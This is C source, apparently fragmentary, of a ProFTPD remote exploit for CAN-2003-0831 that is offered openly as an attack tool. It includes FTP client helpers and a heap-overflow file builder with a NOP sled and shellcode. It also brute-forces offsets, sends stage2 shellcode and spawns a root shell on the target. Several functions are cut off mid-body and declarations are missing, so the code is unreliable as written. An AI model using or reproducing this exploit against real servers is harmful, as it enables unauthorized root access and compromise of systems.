/* Resolve a hostname */ in_addr_t resolve_host(char* host) { struct hostent* hp; in_addr_t addr; int i;
if ((addr = inet_addr(host)) == INADDR_NONE) {
if (!(hp = gethostbyname(host))) { printf("Unable to resolve address %s\n", host); exit(1); }
/* we can't handle more than one ip address */ if (hp->h_addr_list[1]) { printf("%s resolves to multiple IP addresses, please select one of them\n", host); for (i=0; hp->h_addr_list[i]; i++) printf("%s\n", inet_ntoa(*(struct in_addr*)&hp->h_addr_list[i])); exit(1); }
addr = *(in_addr_t*)hp->h_addr_list[0]; }
return addr; }
/* Connect to a host */ int connect_host(in_addr_t host, int port) { struct sockaddr_in s_in; int sock;
/* Create a new ftp_conn structure and connect to a host */ struct ftp_conn* ftp_connect_host(in_addr_t host, int port, int verbose) { struct ftp_conn* ftp;
if (ftp_read_reply(ftp) != 220) { printf("Error in server reply: %s\n", ftp->reply); exit(1); }
return ftp; }
/* Closes the socket and destroys the ftp structure */ void ftp_close(struct ftp_conn* ftp) { ftp_send_cmd(ftp, "QUIT\r\n"); close(ftp->sock);
if (ftp->reply) free(ftp->reply); free(ftp); }
/* Read len bytes from a socket. Returns 0 if the connection is closed */ int read_data(int sock, unsigned char* buf, int len) { int l; int to_read = len;
do { if ((l = read(sock, buf, to_read)) < 0) { printf("Error in read: %s\n", strerror(errno)); exit(1); } else if (!l) { return 0; } to_read -= l; } while (to_read > 0);
return len; }
/* Read data until EOF */ int read_data_eof(int sock, unsigned char** buf) { int l; int len = 0; int bufsize = 0;
*buf = NULL;
do { if (bufsize - len < 1024) { *buf = xrealloc(*buf, bufsize + 8192); bufsize += 8192; }
if ((l = read(sock, *buf + len, bufsize-len)) < 0) { printf("Error in read: %s\n", strerror(errno)); exit(1); }
len += l;
} while (l > 0);
return len; }
/* Read a line terminated by '\n' from a socket. Returns a pointer to a buffer allocated with malloc(), or NULL if the connection is closed */ char* read_line(int sock) { char buf[1024]; int l;
for (l=0; l < 1023; l++) { if (!read_data(sock, &buf[l], 1)) return NULL;
while (strncmp(reply, code, 4)) { /* free the previous line */ free(reply);
/* read the next line of a multiline reply */ if (!(reply = read_line(ftp->sock))) { printf("Connection closed while reading server reply\n"); exit(1); } }
if (ftp->verbose) printf(" %s", reply);
ftp->reply = reply; ftp->reply_code = atoi(code);
return ftp->reply_code; }
/* Write to a socket */ void write_data(int sock, unsigned char* buf, int len) { if (send(sock, buf, len, 0) == -1) { printf("Error in send: %s\n", strerror(errno)); exit(1); } }
/* Write a string to a socket */ void ftp_send_cmd(struct ftp_conn* ftp, char* format, ...) { char str[1024]; va_list args;
va_start(args, format); if (vsnprintf(str, 1023, format, args) >= 1023) { printf("Command longer than 1024 characters:\n%s\n", str); exit(1); } str[1023] = '\0'; va_end(args);
if (ftp->verbose) printf(" %s", str);
write_data(ftp->sock, str, strlen(str)); }
/* Log in using a username and password */ void ftp_login(struct ftp_conn* ftp, char* username, char* password) { ftp_send_cmd(ftp, "USER %s\r\n", username); if (ftp_read_reply(ftp) != 331) { printf("Error in server reply: %s\n", ftp->reply); exit(1); }
ftp_send_cmd(ftp, "PASS %s\r\n", password); if (ftp_read_reply(ftp) != 230) { printf("Error in server reply: %s\n", ftp->reply); exit(1); } }
void ftp_cwd(struct ftp_conn* ftp, char* directory) { ftp_send_cmd(ftp, "CWD %s\r\n", directory); if (ftp_read_reply(ftp) != 250) { printf("Error in server reply: %s\n", ftp->reply); exit(1); } }
###################################################### File Name : main.c
CODE
/* * proftpd-not-pro-enough - ProFTPD remote exploit for CAN-2003-0831 * Opens a root shell. * * by Solar Eclipse <solareclipse@phreedom.org> * * This code or any derivative versions of it may not be posted to Bugtraq * or anywhere on SecurityFocus, Symantec or any affiliated site. * */
/* offsets to try */ int offsets[] = { 0xffff, 0xffff-1, 0xffff-1000, 0xffff-1001, 0xffff-10000, 0xffff-10001 };
#define MAX_OFFSETS (sizeof(offsets)/sizeof(int))
/* offset of the next chunk from the initial value of session.xfer.buf */ #define NEXTCHUNK_OFS 1534
/* _xlate_ascii_write is called on chunks of this size */ #define PR_TUNABLE_BUFFER_SIZE 1024
/* The file which triggers the vulnerability is build in this structure */ struct ascii_data { unsigned char* buf; int len; int allocated;
int current_bufsize; /* current value of session.xfer.bufsize */ };
/* Add LEN bytes to the buffer in ASCII_DATA, allocating more memory if necessary */ void ascii_append(struct ascii_data* ascii_data, unsigned char* buf, int len) { if (ascii_data->len + len >= ascii_data->allocated) { ascii_data->allocated += (len < 8192) ? 8192 : len + 8192; ascii_data->buf = xrealloc(ascii_data->buf, ascii_data->allocated); } memcpy(&ascii_data->buf[ascii_data->len], buf, len); ascii_data->len += len; }
/* Fill a buffer with a NOP sled and stage1 shellcode */ void write_shellcode(unsigned char* buf, int len) { int i;
for (i = 0; i < shellcode_stage1_len; i++) { if (shellcode_stage1[i] == '\n') { printf("Stage1 shellcode should not contain a newline (\\x0d) character.\n"); exit(1); } }
/* We need space for at least 4 NOPs and the shellcode */
if (len < shellcode_stage1_len + 4) { printf("Not enough space for NOPs and shellcode.\n"); exit(1); }
for(i=0; i < len - shellcode_stage1_len; i++) buf[i] = '\x90';
/* Sets the session.xfer.bufsize to a new value. It can only be increased. The buffer contains a '\n' sled, a NOP sled and shellcode */ void expand_buffer(struct ascii_data* ascii_data, int new_size) { unsigned char buf[PR_TUNABLE_BUFFER_SIZE]; int expand; int i, n;
if (new_size <= ascii_data->current_bufsize) { printf("Expanded buffer must be larger than current buffer size\n"); exit(1); }
expand = new_size - PR_TUNABLE_BUFFER_SIZE;
if (expand > PR_TUNABLE_BUFFER_SIZE) { printf("Cannot expand buffer by %d bytes\n", expand); exit(1); }
/* '\n' sled. Wheeeee! */ for (i = 0, n = 0; i < expand; i+=2) { buf[n++] = '\x3d'; buf[n++] = '\n'; buf[n++] = '\n'; }
if (i > expand) n = n - 1;
/* append shellcode to buffer */ write_shellcode(&buf[n], PR_TUNABLE_BUFFER_SIZE-n);
/* Shifts the data in the next chunk by SHIFT bytes. You have to call expand_buffer() first to make the buffer size include the bytes of the next chunk you want to shift. */ void shift_nextchunk(struct ascii_data* ascii_data, int shift) { unsigned char buf[PR_TUNABLE_BUFFER_SIZE]; int i;
if (PR_TUNABLE_BUFFER_SIZE + shift > ascii_data->current_bufsize) { printf("Shift %d is greater than the current bufsize %d\n", shift, ascii_data->current_bufsize); exit(1); }
for (i = 0; i < shift; i++) buf[i] = '\n';
/* append shellcode to buffer */ write_shellcode(&buf[i], PR_TUNABLE_BUFFER_SIZE-i);
/* Overwrite the next chunk with LEN bytes from DATA. */ void overwrite_nextchunk(struct ascii_data* ascii_data, unsigned char* data, int len) { unsigned char buf[PR_TUNABLE_BUFFER_SIZE]; int i, n; int shift;
/* Make sure the buffer covers the bytes we want to overwrite */ expand_buffer(ascii_data, NEXTCHUNK_OFS + len);
/* This shifts the data up to nextchunk[len-2]. The byte at nextchunk[len-1] is set to '\0' */ shift = NEXTCHUNK_OFS + len - PR_TUNABLE_BUFFER_SIZE;
if (PR_TUNABLE_BUFFER_SIZE + shift > ascii_data->current_bufsize) { printf("Shift %d is grater than the current bufsize %d\n", shift, ascii_data->current_bufsize); exit(1); }
/* This shifts the data up to nextchunk[len-1] */ shift_nextchunk(ascii_data, 1); }
/* Creates the file which triggers the vulnerability. The 2 least signifficant bytes of a pointer to nextchunk[528] are overwritten by the value in offset. This creates an address which points somewhere in the 64K of memory after nextchunk. We put multiple copies of the shellcode in this area and force a jump to the overwritten pointer. */ struct ascii_data* create_ascii_data(int offset) { struct ascii_data* ascii_data; int i, expand, max_expand, max_length; unsigned char buf[PR_TUNABLE_BUFFER_SIZE]; unsigned char nextchunk[] = "\x11\x02\x00\x00" /* malloc chunk size (528 bytes, prev not in use) */ "\xaa\xaa"; /* 2 least significant bytes of blok->endp */
/* overwrite the 2 least significant bytes of blok->endp */ nextchunk[4] = offset & 0xff; nextchunk[5] = (offset >> 8) & 0xff; overwrite_nextchunk(ascii_data, nextchunk, 6);
/* shift the the first 6 dwords of nextchunk by 4 bytes, so that blok->last overwrites blok->cleanups and the value of blok->endp is at blok+4 */ expand_buffer(ascii_data, NEXTCHUNK_OFS + 28); shift_nextchunk(ascii_data, 4);
/* calculate the maximum length of the '\n' sled */ max_length = PR_TUNABLE_BUFFER_SIZE - shellcode_stage1_len - 4;
/* each 3 bytes of the '\n' sled contain 2 '\n' characters and expand the buffer by 2 */ max_expand = PR_TUNABLE_BUFFER_SIZE + max_length*2/3;
/* Each buffer with shellcode contains one more '\n' characters than the previous, causing a new 2K buffer to be allocated for it. This fills the 64K of memory after nextchunk with shellcode. */
for (i=0, expand=max_expand-32; i < 32; i++) { expand_buffer(ascii_data, expand); expand++; }
/* The ascii data is read in 8192 byte chunks, stored in a dynamically allocated buffer. Usually this buffer is located in the 64K area where our shellcode should be. Unfortunately the '\n' sled found in the buffers we built so far only works after it is copied to a new buffer and expanded by _xlate_ascii_write(). We need to fill the 8KB buffer with a NOP sled followed by shellcode. */
/* create a buffer with a NOP sled and shellcode */ write_shellcode(buf, PR_TUNABLE_BUFFER_SIZE);
/* The buffer is cyclic, so we need to fill it up to the 8KB boundary to wrap around to the beginning. */ while (ascii_data->len % 8192 != 0) ascii_append(ascii_data, buf, PR_TUNABLE_BUFFER_SIZE);
/* overwrite the 8KB buffer with a NOP sled and shellcode */ for (i=0; i < 8192 / PR_TUNABLE_BUFFER_SIZE; i++) ascii_append(ascii_data, buf, PR_TUNABLE_BUFFER_SIZE);
return ascii_data; }
/* Generate a random string of [a-z] characters */ char* random_filename(int len) { char* filename; int i;
filename = (char*) xmalloc(len+1);
srandom(time(NULL));
for (i = 0; i<len; i++) { filename[i] = 'a' + random() % 26; }
filename[len] = '\0';
return filename; }
/* Sends the stage2 shellcode to the server */ int send_stage2(int sock) { unsigned char buf[16]; int len; fd_set rset; struct timeval tv_wait; int ret;
/* write tag */ write(sock, "\x69\x7a", 3); /* 31337 */
FD_ZERO(&rset); FD_SET(sock, &rset);
tv_wait.tv_sec = 5; tv_wait.tv_usec = 0;
if ((ret = select(sock+1, &rset, NULL, NULL, &tv_wait)) == -1) { printf("Error in select: %s\n", strerror(errno)); exit(1); } else if (ret == 0) { printf("No reposnse from remote process. It probably crashed with a SIGILL and\n"); printf("is currently consuming 100%% CPU. If you succeed in exploiting the server,\n"); printf("remember to kill runaway process\n"); return 0; }
/* read tag */ if ((len = read(sock, buf, 3)) < 0) { if (errno == ECONNRESET) { printf(" stage1 shellcode failed\n"); return 0; }
printf("Error in read: %s\n", strerror(errno)); exit(1); }
if (!len) { printf(" stage1 shellcode failed\n"); return 0; }
if (len != 3) { printf(" Less than 4 bytes read from stage1. This was not supposed to happen\n\n"); return 0; }
if (memcmp(buf, "\x69\x7a", 3)) { if (ISDIGIT(buf[0]) && ISDIGIT(buf[1]) && ISDIGIT(buf[2])) { buf[3] = '\0'; printf("Server replied with FTP code %s. It is most likely not vulnerable.\n", buf); exit(1); } printf(" Tags don't match. This was not supposed to happen.\n\n"); printf(" stage1 tag: %02x %02x %02x\n", buf[0], buf[1], buf[2]); return 0; }
printf(" Execution of stage1 shellcode succeeded, sending stage2\n");
/* print program usage */ void usage(char* argv0) { printf("Usage: %s [options] <host>\n", argv0); printf(" -f <filename> filename to create (random by default)\n"); printf(" -d <dir> writable directory\n"); printf(" -u <user> user name (anonymous by default)\n"); printf(" -p <password> password\n"); printf(" -v verbose mode\n\n"); printf("If you do not supply any options, an anonymous connection will be established\n"); printf("and the exploit will attempt to find a writable directory.\n\n"); printf("Examples: %s -v localhost\n", argv0); printf(" %s -u user -p secret -d /incoming 192.168.0.1\n\n", argv0);
exit(1); }
/* run, code, run */ int main(int argc, char* argv[]) { in_addr_t host; int port; int verbose; char* hostname; char* username; char* password; char* directory; char* filename; int num_offsets; int bruteforce;
printf(": proftpd-not-pro-enough : ProFTPD remote exploit for CAN-2003-0831\n"); printf(" by Solar Eclipse <solareclipse@phreedom.org>\n"); printf("\n");
/* parse the options */ while ((arg = getopt(argc, argv, "bf:d:ho:p:u:v?")) != EOF) { switch (arg) { case 'b' : /* undocumented option */ bruteforce = 1; break; case 'f' : filename = optarg; break; case 'd' : directory = optarg; break; case 'o' : /* undocumented option */ if (!sscanf(optarg, "0x%x", &offset) || (offset < 0) || (offset > 0xffff)) usage(argv[0]); offsets[0] = offset; num_offsets = 1; break; case 'p' : password = optarg; break; case 'u' : username = optarg; break; case 'v' : verbose++; break; default : usage(argv[0]); break; } }
if (optind >= argc) { /* no host specified on the command line */ usage(argv[0]); }
hostname = argv[optind];
if (directory == NULL) { printf("Automatic writable directory search is not yet implemented.\n"); printf("Please specify a writable directory using the -d option.\n"); exit(1); }
/* resolve host */ host = resolve_host(hostname);
optind++;
if (optind < argc) { usage(argv[0]); }
/* connect to host */ printf(": connecting to %s\n", hostname); ftp_up = ftp_connect_host(host, port, verbose);
if (!verbose) printf("%s\n", ftp_up->reply);
/* log in */ printf(": loging in as %s/%s\n", username, password); ftp_login(ftp_up, username, password);
/* if (!directory) directory = ftp_writable_dir_search(ftp); */
printf(": using writable directory %s, filename is %s\n", directory, filename); ftp_cwd(ftp_up, directory);
offset = offsets[0]; i = 0;
while (offset > 0 && i < num_offsets) { printf("\n: exploiting server (offset 0x%04x)\n", offset);
#ifdef EXPLOIT_DEBUG printf(": press any key\n"); getchar(); #endif
/* downloading exploit file in ASCII mode */ len = ftp_get(ftp_down, filename, FTP_ASCII, &buf);
if (send_stage2(ftp_down->sock)) { /* shellcode worked, close all unnecessary open connections */ ftp_del(ftp_up, filename); ftp_close(ftp_up);
/* spawn a shell */ shell(ftp_down->sock);
return 0; } else { /* shellcode failed, cleanup and try another offset */ ftp_del(ftp_up, filename); }
if (!bruteforce) offset = offsets[++i]; /* try next offset in list */ else { /* brute force mode */ if (offset & 1) offset -= 1; /* if odd, try offset-1 because of the '\n' sled */ else offset -= 999; } }